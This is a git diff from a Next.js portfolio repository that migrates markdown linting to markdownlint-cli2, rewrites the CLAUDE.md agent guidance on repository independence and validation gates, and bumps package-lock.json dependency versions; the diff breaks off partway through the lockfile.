`.gitignore` for node_modules, build output, caches, and coverage rather than + // maintaining a second exclude list that has to be kept in step with it. + "gitignore": true, + + // Both cases, because the glob is case-sensitive on Linux CI and two files at the root + // are named `.MD`. Without the second pattern they are silently never linted. + "globs": ["**/*.md", "**/*.MD"], + + // Vendored upstream, kept byte-identical to anthropics/skills so drift stays detectable. + // Formatting or fixing it would destroy that, so no tool may touch it. + "ignores": [".claude/skills/skill-creator/**"], + + "config": { + "MD007": false, + "MD010": false, + "MD013": false, + "MD060": false, + }, +} diff --git a/.markdownlint.json b/.markdownlint.json deleted file mode 100644 index 3a4eaee0..00000000 --- a/.markdownlint.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "MD007": false, - "MD010": false, - "MD013": false, - "MD060": false -} diff --git a/.markdownlintignore b/.markdownlintignore deleted file mode 100644 index 1cc22912..00000000 --- a/.markdownlintignore +++ /dev/null @@ -1,208 +0,0 @@ -# compiled output -/out-tsc -dist -tmp - -# dependencies -.pnp.js -/.pnp -jspm_packages/ -node_modules - -# Visual Studio Code -!.vscode/extensions.json -!.vscode/launch.json -!.vscode/settings.json -!.vscode/tasks.json -.vscode-test -.vscode/* -/.vscode - -# IDEs and editors -*.launch -*.sublime-workspace -.c9/ -.classpath -.project -.settings/ -/.idea -service-account.json - -# ORM Config -ormconfig.*.* -ormconfig.*.js -ormconfig.js -ormconfig.json - -# misc -.DS_Store -.pem -/.sass-cache -/connect.lock -/coverage -/typings -typings/ -Thumbs.db - -# Next.js -.next -/.next/ -/out/ - -# Env files -!.env.example -!.env.masterpiece-studio-8ac80 -!.env.masterpiece-studio-production -!.env.project -.env -.env* -.env*.local -.env.* -.env.development.local -.env.local -.env.production.local -.env.test.Local -.staging_db_url -!.env.vault - -# Builds -builds/ -build/ - -# vercel -.vercel - -# typescript -*.tsbuildinfo -tsconfig.tsbuildinfo - -# ES Lint -.eslintcache - -# Service workers -*.js.map -sw.js -sw.js.map -workbox-*.js -worker-*.js - -# deploy -.deploy/aws-kp.pem -.deploy/settings-staging.json -.deploy/settings.json - -# Sentry -.sentryclirc - -# Flask -.flaskenv* - -# Cypress -cypress/screenshots -cypress/videos -worker-@cypress/ - -# Logs -*.log -.pnpm-debug.log* -/libpeerconnection.log -lerna-debug.log* -logs -npm-debug.log -npm-debug.log* -testem.log -yarn-debug.log* -yarn-error.log -yarn-error.log* - -# Diagnostic reports (https://nodejs.org/api/report.html) -report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json - -# nyc test coverage -.nyc_output - -# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) -.grunt - -# Bower dependency directory (https://bower.io/) -bower_components - -# node-waf configuration -.lock-wscript - -# Snowpack dependency directory (https://snowpack.dev/) -web_modules/ - -# npm cache directory -.npm - -# stylelint cache -.stylelintcache - -# Microbundle cache -.rpt2_cache/ -.rts2_cache_cjs/ -.rts2_cache_es/ -.rts2_cache_umd/ - -# REPL history -.node_repl_history - -# Output of 'npm pack' -*.tgz - -# Yarn Integrity file -.yarn-integrity - -# parcel-bundler cache (https://parceljs.org/) -.cache -.parcel-cache - -# Nuxt.js build / generate output -.nuxt -dist -dist/**/*.js -dist/**/*.js.map - -# vuepress build output -.vuepress/dist - -# vuepress v2.x temp and cache directory -.temp - -# Docusaurus cache and generated files -.docusaurus - -# Serverless directories -.serverless/ - -# FuseBox cache -.fusebox/ - -# DynamoDB Local files -.dynamodb/ - -# TernJS port file -.tern-port - -# yarn -.yarn/cache -.yarn/unplugged -.yarn/build-state.yml -.yarn/install-state.gz - -# Firebase -.firebase/ - -# nx cache -.nx/cache - -# Claude Code agent tooling (not shipped product) -.claude/ - -# Python -.mypy_cache - - -# Ignore minified files -*.min.* \ No newline at end of file diff --git a/.prettierignore b/.prettierignore index af094fe1..7514c81f 100644 --- a/.prettierignore +++ b/.prettierignore @@ -198,11 +198,8 @@ dist/**/*.js.map # nx cache .nx/cache -# Claude Code agent tooling -.claude/** -!.claude/skills/ -!.claude/skills/audit-*/ -!.claude/skills/audit-*/SKILL.md +# Vendored upstream, kept byte-identical to anthropics/skills so drift stays detectable. +.claude/skills/skill-creator/ # Python .mypy_cache diff --git a/CLAUDE.md b/CLAUDE.md index 51e2b744..4f24d7d0 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -8,27 +8,35 @@ This repo is worked on by **both** GitHub Copilot and Claude Code. Keep these au - [`.github/copilot-instructions.md`](.github/copilot-instructions.md) - canonical, shared conventions. Copilot cannot read `CLAUDE.md`, and the automated code reviews read that file rather than `.claude/`, so when conventions change, update it too. - [`docs/architecture/`](docs/architecture/index.md) and [`docs/usage/`](docs/usage/index.md) - per-area detail (read these instead of re-deriving structure). -- [`.claude/rules/`](.claude/rules/code-style.md) - path-scoped rules that load automatically. [`code-style.md`](.claude/rules/code-style.md) loads when editing `.ts`/`.tsx`, [`testing.md`](.claude/rules/testing.md) when editing tests or test tooling, [`docs-authoring.md`](.claude/rules/docs-authoring.md) when editing markdown, and [`prompt-skill-sync.md`](.claude/rules/prompt-skill-sync.md) when editing either half of a mirrored prompt. +- [`.claude/rules/`](.claude/rules/code-style.md) - path-scoped rules that load automatically. [`code-style.md`](.claude/rules/code-style.md) loads when editing `.ts`/`.tsx`, [`testing.md`](.claude/rules/testing.md) when editing tests or test tooling, [`docs-authoring.md`](.claude/rules/docs-authoring.md) when editing markdown, [`prompt-skill-sync.md`](.claude/rules/prompt-skill-sync.md) when editing either half of a mirrored prompt, and [`repo-independence.md`](.claude/rules/repo-independence.md) when editing `package.json`, a config, a workflow, or `docs/`. - [`.claude/skills/typescript-code-and-test-standards/`](.claude/skills/typescript-code-and-test-standards/SKILL.md) - the codebase-agnostic conventions (comments, JSDoc, readability, the test mandate, the mocking policy, the Google style digest), published for reuse elsewhere. The rules files above carry only this repository's deltas and defer to it. +### The repository never depends on agentic files + +**If `.claude/` and `.github/prompts/` were deleted tomorrow, everything must still build, test, and lint.** No `package.json` script, config, workflow, or page under `docs/` may reference or invoke anything in them. The dependency runs one way: agent tooling may name `npm run test:jest`; `package.json` may not name `.claude/anything`. The sole exception is an ignore or exclude glob, which is inert when the path is absent. Agent tooling that needs to be runnable gets a target in [`.claude/Makefile`](.claude/Makefile) instead, which is deleted along with the tooling it drives. Full rule: [`repo-independence.md`](.claude/rules/repo-independence.md). + +### Documentation and comments describe the current state + +**This applies to every file type, not only markdown**, because a path-scoped rule can only cover the extensions someone thought to list. A comment, document, or config header states what the code does now. Never narrate the past ("replaces", "used to", "formerly", "for the first time", "unlike the old") and never name a file, flag, or tool that no longer exists: git carries that history, and a reader cannot check a claim against something that is gone. The future belongs nowhere but a `TODO`. Rationale worth keeping goes in a decision record of its own under [`docs/`](docs/index.md), created when the first one is needed, rather than scattered through the files it explains. + ## Commands - `npm run dev` - dev server at localhost:3000 -- `npm run validate` - full quality gate (prettier, prompt-sync, eslint, tsc, jest, cypress, build, markdownlint) -- Individual gates: `npm run prettier:check`, `npm run check:prompt-sync`, `npm run eslint:check`, `npm run tsc`, `npm run test:jest`, `npm run test:cypress:e2e`, `npm run build`, `npm run lint:markdown` +- `npm run validate` - full quality gate (prettier, eslint, tsc, jest, cypress, build, markdownlint) +- Individual gates: `npm run prettier:check`, `npm run eslint:check`, `npm run tsc`, `npm run test:jest`, `npm run test:cypress:e2e`, `npm run build`, `npm run lint:markdown:check` - Run a **single** Jest test: - one file: `npx jest src/components/banner/Banner.test.tsx` - one case by name: `npx jest -t 'partial test name'` - (path aliases resolve in tests via `moduleNameMapper` in [`jest.config.js`](jest.config.js)) -- Install with `npm ci`. CI runs on **Node 22.x** ([`.github/workflows/code-qa.yaml`](.github/workflows/code-qa.yaml)); there are no pre-commit hooks, so `npm run validate` is the manual equivalent. +- Install with `npm ci`. CI runs on **Node 24.x** ([`.github/workflows/code-qa.yaml`](.github/workflows/code-qa.yaml)); there are no pre-commit hooks, so `npm run validate` is the manual equivalent. ## Validation **Every change to logic, tests, configuration, or documentation ends with the quality gates run and green.** This is not optional and not deferrable. - Confirm the **actual exit code** (`echo "EXIT: $?"`) after each gate. The output is long and failures surface at the end, so scrolling it is not a check. -- A single gate is never a substitute for the full set. Running `npm run test:jest` alone skips type checking, linting, the build, markdown linting, and the prompt-sync check. -- `npm run check:prompt-sync` fails while a prompt and its mirrored skill differ. Fix it with `node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-skill` (or `--fix=to-prompt`), never by hand-copying. [`.prettierignore`](.prettierignore) re-includes `.claude/skills/audit-*/SKILL.md` so Prettier formats both halves identically and cannot desync a pair it runs ahead of; the rest of `.claude/` stays ignored. +- A single gate is never a substitute for the full set. Running `npm run test:jest` alone skips type checking, linting, the build, and markdown linting. +- The prompt-and-skill mirroring check is deliberately **not** a gate: `npm run validate` must work with no agent tooling present. Run it with `make -f .claude/Makefile sync-prompts`, and fix a divergence with `make -f .claude/Makefile sync-prompts-to-skill` (or `make -f .claude/Makefile sync-prompts-to-prompt`), never by hand-copying. - If a gate fails, fix the cause and re-run until it passes. Never report work complete, or describe validation as passing, before that point. Report a pre-existing failure honestly rather than presenting it as unrelated and therefore fine. - Run `npm run prettier` again after any ESLint fix, and finish with `npm run prettier:check`: `eslint --fix` inserts braces inline where Prettier would break the statement across lines. - If `test:cypress:e2e` fails, quote the actual error. Treat it as an environment limit only when the Cypress **binary fails to launch**, an Electron or window-server error raised before any spec runs, since Cypress needs a GUI session that a headless agent shell may not have. A failing assertion inside a spec is a real failure. Either way, run the remaining gates (`build` and `lint:markdown` come after Cypress in the chain) and say plainly that e2e was not run. @@ -48,7 +56,7 @@ The conventions live in two layers. The generic set (comment discipline, JSDoc, ## Claude Code extras -- Each [`.github/prompts/`](.github/prompts/readme.md) file ships twice: as a Copilot `.prompt.md` and as a Claude Code skill with a **byte-identical body**. Edit either half, then mirror it (see [`prompt-skill-sync.md`](.claude/rules/prompt-skill-sync.md)); `npm run validate` fails while they differ. Both halves stay self-contained, with no relative links and no reference to a sibling prompt, because each is copied into other repositories on its own. +- Each [`.github/prompts/`](.github/prompts/readme.md) file ships twice: as a Copilot `.prompt.md` and as a Claude Code skill with a **byte-identical body**. Edit either half, then mirror it with `make -f .claude/Makefile sync-prompts-to-skill` (see [`prompt-skill-sync.md`](.claude/rules/prompt-skill-sync.md)). Both halves stay self-contained, with no relative links and no reference to a sibling prompt, because each is copied into other repositories on its own. - Skills: `/audit-docs`, `/audit-pr`, and `/audit-quality` (the mirrored prompts); `/write-tests` (repo procedure for authoring a test); `/sync-audit-prompts` (reconcile a mirrored pair); and `typescript-code-and-test-standards`, which auto-loads on TypeScript and JavaScript files. Plus the built-in `/code-review` and `/security-review`. - Subagents: `validator` runs the local quality gates in its own context and returns a verdict instead of several thousand lines; `prompt-skill-sync` reconciles a mirrored pair and returns a verdict instead of two long files. - Hooks ([`.claude/hooks/`](.claude/hooks/validate-gate.mts)): `markdown-audit-reminder` restates the doc-authoring rules whenever you edit a markdown file; `prompt-skill-sync` names the counterpart when you edit either half of a mirrored pair; `validate-gate` tracks which gates have run and blocks the first attempt to finish while any are outstanding. diff --git a/package-lock.json b/package-lock.json index 525ec66f..858cdfab 100644 --- a/package-lock.json +++ b/package-lock.json @@ -7,6 +7,7 @@ "": { "name": "alexjsully-portfolio", "version": "2.0.13", + "license": "MIT", "dependencies": { "@emotion/react": "^11.14.0", "@emotion/styled": "^11.14.1", @@ -45,7 +46,7 @@ "jest": "^30.4.2", "jest-environment-jsdom": "^30.4.1", "jest-transform-stub": "^2.0.0", - "markdownlint-cli": "^0.49.1", + "markdownlint-cli2": "^0.23.1", "prettier": "^3.8.4", "sass": "^1.99.0", "start-server-and-test": "^3.0.11", @@ -77,9 +78,9 @@ } }, "node_modules/@apm-js-collab/code-transformer-bundler-plugins": { - "version": "0.6.2", - "resolved": "https://registry.npmjs.org/@apm-js-collab/code-transformer-bundler-plugins/-/code-transformer-bundler-plugins-0.6.2.tgz", - "integrity": "sha512-5vBrtIEL+UVbO0YWWoyYG4QMgR+ZfnIL3xlteIkAmU7YaAPhc28k3md/NM14tnkfXKjKOn9yUzEA9AYUmNpvJg==", + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/@apm-js-collab/code-transformer-bundler-plugins/-/code-transformer-bundler-plugins-0.7.1.tgz", + "integrity": "sha512-Yidf5GOl60db80UxUtNdKK3pnY7obU/gs0xOfA0SCdnvVLMCvfYIer/egC3TqpPiT0Jg22eg3RlzcO+zKfPMcA==", "license": "MIT", "dependencies": { "@apm-js-collab/code-transformer": "^0.18.0", @@ -5490,6 +5491,44 @@ "node": ">= 10" } }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, "node_modules/@opentelemetry/api": { "version": "1.9.1", "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz", @@ -5604,9 +5643,9 @@ } }, "node_modules/@parcel/watcher": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher/-/watcher-2.5.6.tgz", - "integrity": "sha512-tmmZ3lQxAe/k/+rNnXQRawJ4NjxO2hqiOLTHvWchtGZULp4RyFeh6aU4XdOYBFe2KE1oShQTv4AblOs2iOrNnQ==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher/-/watcher-2.6.0.tgz", + "integrity": "sha512-7FNeNl8NCE7aINx7WXiKQrPYZWC/hvrTsmk6zmxbI7LTXE7hVek/n8AfVgpe2y82zl3w0HvCHN0bVKMBoJcC0w==", "hasInstallScript": true, "license": "MIT", "optional": true, @@ -5614,7 +5653,7 @@ "detect-libc": "^2.0.3", "is-glob": "^4.0.3", "node-addon-api": "^7.0.0", - "picomatch": "^4.0.3" + "picomatch": "^4.0.4" }, "engines": { "node": ">= 10.0.0" @@ -5624,25 +5663,24 @@ "url": "https://opencollective.com/parcel" }, "optionalDependencies": { - "@parcel/watcher-android-arm64": "2.5.6", - "@parcel/watcher-darwin-arm64": "2.5.6", - "@parcel/watcher-darwin-x64": "2.5.6", - "@parcel/watcher-freebsd-x64": "2.5.6", - "@parcel/watcher-linux-arm-glibc": "2.5.6", - "@parcel/watcher-linux-arm-musl": "2.5.6", - "@parcel/watcher-linux-arm64-glibc": "2.5.6", - "@parcel/watcher-linux-arm64-musl": "2.5.6", - "@parcel/watcher-linux-x64-glibc": "2.5.6", - "@parcel/watcher-linux-x64-musl": "2.5.6", - "@parcel/watcher-win32-arm64": "2.5.6", - "@parcel/watcher-win32-ia32": "2.5.6", - "@parcel/watcher-win32-x64": "2.5.6" + "@parcel/watcher-android-arm64": "2.6.0", + "@parcel/watcher-darwin-arm64": "2.6.0", + "@parcel/watcher-darwin-x64": "2.6.0", + "@parcel/watcher-freebsd-x64": "2.6.0", + "@parcel/watcher-linux-arm-glibc": "2.6.0", + "@parcel/watcher-linux-arm-musl": "2.6.0", + "@parcel/watcher-linux-arm64-glibc": "2.6.0", + "@parcel/watcher-linux-arm64-musl": "2.6.0", + "@parcel/watcher-linux-x64-glibc": "2.6.0", + "@parcel/watcher-linux-x64-musl": "2.6.0", + "@parcel/watcher-win32-arm64": "2.6.0", + "@parcel/watcher-win32-x64": "2.6.0" } }, "node_modules/@parcel/watcher-android-arm64": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.6.tgz", - "integrity": "sha512-YQxSS34tPF/6ZG7r/Ih9xy+kP/WwediEUsqmtf0cuCV5TPPKw/PQHRhueUo6JdeFJaqV3pyjm0GdYjZotbRt/A==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.6.0.tgz", + "integrity": "sha512-trgpLSCKRC/huFjXX/Smh+0sWe4+YtKfktIToiMl59ghz7z+qkH6kMvNnUbLyRs9N11t8l4svSCs1+5B3rOAhA==", "cpu": [ "arm64" ], @@ -5660,9 +5698,9 @@ } }, "node_modules/@parcel/watcher-darwin-arm64": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.6.tgz", - "integrity": "sha512-Z2ZdrnwyXvvvdtRHLmM4knydIdU9adO3D4n/0cVipF3rRiwP+3/sfzpAwA/qKFL6i1ModaabkU7IbpeMBgiVEA==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.6.0.tgz", + "integrity": "sha512-Y3QV0gl7Q1zbfueunkWIERICbEojQFCgpyG7YqOGNFLsckXyI1xu9mAIUpKY9QBYzBtSkN8dBPwd3yiAO9ovMw==", "cpu": [ "arm64" ], @@ -5680,9 +5718,9 @@ } }, "node_modules/@parcel/watcher-darwin-x64": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.6.tgz", - "integrity": "sha512-HgvOf3W9dhithcwOWX9uDZyn1lW9R+7tPZ4sug+NGrGIo4Rk1hAXLEbcH1TQSqxts0NYXXlOWqVpvS1SFS4fRg==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.6.0.tgz", + "integrity": "sha512-Ohv6OpzhUfKYD7Beb8kDvG0jbIxORCYY1JRdZnaBtnjjkJxgD7ZVL0nw2sCYd0yTMKTvz3nnTnOF3cDifK+kvw==", "cpu": [ "x64" ], @@ -5700,9 +5738,9 @@ } }, "node_modules/@parcel/watcher-freebsd-x64": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.6.tgz", - "integrity": "sha512-vJVi8yd/qzJxEKHkeemh7w3YAn6RJCtYlE4HPMoVnCpIXEzSrxErBW5SJBgKLbXU3WdIpkjBTeUNtyBVn8TRng==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.6.0.tgz", + "integrity": "sha512-5HmXvDgs8VK+74jF9y9/2FE3/OnlcKmc56tjmSrEuZjpSZOGL+fvAu+HKJBdPs9uwoP2hE6TlSUpXZ/C5jUFmQ==", "cpu": [ "x64" ], @@ -5720,9 +5758,9 @@ } }, "node_modules/@parcel/watcher-linux-arm-glibc": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.6.tgz", - "integrity": "sha512-9JiYfB6h6BgV50CCfasfLf/uvOcJskMSwcdH1PHH9rvS1IrNy8zad6IUVPVUfmXr+u+Km9IxcfMLzgdOudz9EQ==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.6.0.tgz", + "integrity": "sha512-Ps/hui3A+vMbjdqlqAowK2ZL8+BO8dBjxeWXj6npTBs3jx4wWmbPpaLuqwrQrSqIVMCnpWo238bJ1U37GhQOYg==", "cpu": [ "arm" ], @@ -5743,9 +5781,9 @@ } }, "node_modules/@parcel/watcher-linux-arm-musl": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.6.tgz", - "integrity": "sha512-Ve3gUCG57nuUUSyjBq/MAM0CzArtuIOxsBdQ+ftz6ho8n7s1i9E1Nmk/xmP323r2YL0SONs1EuwqBp2u1k5fxg==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.6.0.tgz", + "integrity": "sha512-9c6AUHgHoG+IY88MRIHupztQiQnrbqHYQjkM2btA+Bf/wQnQMuiD0Wfk1EVv3TlNT3x41uU71rn6E4xh/+zvkw==", "cpu": [ "arm" ], @@ -5766,9 +5804,9 @@ } }, "node_modules/@parcel/watcher-linux-arm64-glibc": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.6.tgz", - "integrity": "sha512-f2g/DT3NhGPdBmMWYoxixqYr3v/UXcmLOYy16Bx0TM20Tchduwr4EaCbmxh1321TABqPGDpS8D/ggOTaljijOA==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.6.0.tgz", + "integrity": "sha512-yHRqS2owEXe6Hic9z6Mh1ECsCd+ODVOGvZDyciqRd21+v+o+DnXMOrw50DSpIG2sb8GPEaPPmfeCAWKPJdq46g==", "cpu": [ "arm64" ], @@ -5789,9 +5827,9 @@ } }, "node_modules/@parcel/watcher-linux-arm64-musl": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.6.tgz", - "integrity": "sha512-qb6naMDGlbCwdhLj6hgoVKJl2odL34z2sqkC7Z6kzir8b5W65WYDpLB6R06KabvZdgoHI/zxke4b3zR0wAbDTA==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.6.0.tgz", + "integrity": "sha512-WhB2e/V7rqdHHWZusBSPuy5Ei8S6lSz6FE5TKKQz5h3a0O+C+mhY7vxU9b/stqvMb8beLnPY82ZrFTLKs+SrKA==", "cpu": [ "arm64" ], @@ -5812,9 +5850,9 @@ } }, "node_modules/@parcel/watcher-linux-x64-glibc": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.6.tgz", - "integrity": "sha512-kbT5wvNQlx7NaGjzPFu8nVIW1rWqV780O7ZtkjuWaPUgpv2NMFpjYERVi0UYj1msZNyCzGlaCWEtzc+exjMGbQ==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.6.0.tgz", + "integrity": "sha512-ulGE6x6Oz6iAwg75T8YQSoguBWasniIbX+QWpaYPcCnDOpdWX3k+4xbEYPZVLxOuoJI+svJJPD3sEj8G7lrQ3A==", "cpu": [ "x64" ], @@ -5835,9 +5873,9 @@ } }, "node_modules/@parcel/watcher-linux-x64-musl": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.6.tgz", - "integrity": "sha512-1JRFeC+h7RdXwldHzTsmdtYR/Ku8SylLgTU/reMuqdVD7CtLwf0VR1FqeprZ0eHQkO0vqsbvFLXUmYm/uNKJBg==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.6.0.tgz", + "integrity": "sha512-tkBYKt7YQrjIJWYDnto2YgO8MRkjlMTSNoRHzsXinBqbLdeOM3L32wPZJvIZxqaLMfSlS/4sUjH/6STVP/XDLw==", "cpu": [ "x64" ], @@ -5858,9 +5896,9 @@ } }, "node_modules/@parcel/watcher-win32-arm64": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.6.tgz", - "integrity": "sha512-3ukyebjc6eGlw9yRt678DxVF7rjXatWiHvTXqphZLvo7aC5NdEgFufVwjFfY51ijYEWpXbqF5jtrK275z52D4Q==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.6.0.tgz", + "integrity": "sha512-gIZAP23jaHjGWasY/TY6yL7NHFClf0Ga7FN+iINvk+KN94rhm94lYZhFsbYFNcA04/onvGD9kKmiJLJB2HbNwQ==", "cpu": [ "arm64" ], @@ -5877,30 +5915,10 @@ "url": "https://opencollective.com/parcel" } }, - "node_modules/@parcel/watcher-win32-ia32": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.6.tgz", - "integrity": "sha512-k35yLp1ZMwwee3Ez/pxBi5cf4AoBKYXj00CZ80jUz5h8prpiaQsiRPKQMxoLstNuqe2vR4RNPEAEcjEFzhEz/g==", - "cpu": [ - "ia32" - ], - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">= 10.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - } - }, "node_modules/@parcel/watcher-win32-x64": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.6.tgz", - "integrity": "sha512-hbQlYcCq5dlAX9Qx+kFb0FHue6vbjlf0FrNzSKdYK2APUf7tGfGxQCk2ihEREmbR6ZMc0MVAD5RIX/41gpUzTw==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.6.0.tgz", + "integrity": "sha512-cA+/pXV2YkfxlIcXOQ5fSWqAzzPyD78/x5qbK/I0vUkrlYHA8TIz+MXjAbGouguKVSI4bOmkTSJ1/poVSsgt+A==", "cpu": [ "x64" ], @@ -6430,30 +6448,30 @@ } }, "node_modules/@sentry/browser": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/browser/-/browser-10.66.0.tgz", - "integrity": "sha512-MaPoBqKvI7O3UhexSJ/KO/o6T4Tr3A+vQWLZYTos0mxd59jVKMKbbJ6LxM/0uWQ5JAO2XYC/kCMRvk6VqQ5QZw==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/browser/-/browser-10.67.0.tgz", + "integrity": "sha512-/ZhsAvte4rYhg0A0RtSFFgAgXhyMOfQIeOAfMfptN+X6IVSYOfkA9jtrP+Ej4+6vlaUFWRir1HweF56y63dEEA==", "license": "MIT", "dependencies": { - "@sentry/browser-utils": "10.66.0", + "@sentry/browser-utils": "10.67.0", "@sentry/conventions": "^0.16.0", - "@sentry/core": "10.66.0", - "@sentry/feedback": "10.66.0", - "@sentry/replay": "10.66.0", - "@sentry/replay-canvas": "10.66.0" + "@sentry/core": "10.67.0", + "@sentry/feedback": "10.67.0", + "@sentry/replay": "10.67.0", + "@sentry/replay-canvas": "10.67.0" }, "engines": { "node": ">=18" } }, "node_modules/@sentry/browser-utils": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/browser-utils/-/browser-utils-10.66.0.tgz", - "integrity": "sha512-sHuALvJMMEilUz84F1ZOQuDoZ3MhjwUHWHkXcElcVMrDIlnTO7Ra0E6Kh0e8JyJaLBMk4Sy9srKSqH9zimQVTQ==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/browser-utils/-/browser-utils-10.67.0.tgz", + "integrity": "sha512-HUzaf0xAnPAB+OHBkD7N1Py+CTbD5InHulQ/pdhX4JctWtxuwD8odMD1LzdPnW8J6gVHlDVvcVBR8mXMZYSLSw==", "license": "MIT", "dependencies": { "@sentry/conventions": "^0.16.0", - "@sentry/core": "10.66.0" + "@sentry/core": "10.67.0" }, "engines": { "node": ">=18" @@ -6478,14 +6496,14 @@ } }, "node_modules/@sentry/bundler-plugins": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/bundler-plugins/-/bundler-plugins-10.66.0.tgz", - "integrity": "sha512-u0Dzji4GouTR3zhNzCDal+mDxzOsnCVzA4mxOkTq89k2vKX6cuAVrrBWlSOcVYa8qbt43c0QNJxFnD0AqjhJtw==", + "version": "10.67.0", + "resolved": "https://registry.npmjs.org/@sentry/bundler-plugins/-/bundler-plugins-10.67.0.tgz", + "integrity": "sha512-HKLhbMZJsabZlXTog8CTa1ReeDW/mf1cwN7O8K+DKhe/kGHB3whHRseqsyjxyJwPdzC/0lM+8rgfqgxpc7jR9A==", "license": "MIT", "dependencies": { "@babel/core": "^7.18.5", "@sentry/cli": "^2.58.6", - "@sentry/core": "10.66.0", + "@sentry/core": "10.67.0", "dotenv": "^17.4.2", "find-up": "^5.0.0", "glob": "^13.0.6", @@ -6694,9 +6712,9 @@ } }, "node_modules/@sentry/core": { - "version": "10.66.0", - "resolved": "https://registry.npmjs.org/@sentry/core/-/core-10.66.0.tgz", - "integrity": "sha512-9UbgSvds7bMJsP561eWmeyMLcfOmnwxtnx2QuW3yLobzP2Ob7CyJCOzP4tGzlTAGDrzShkFEZhiyuBUKiEK2oQ==", + "version": 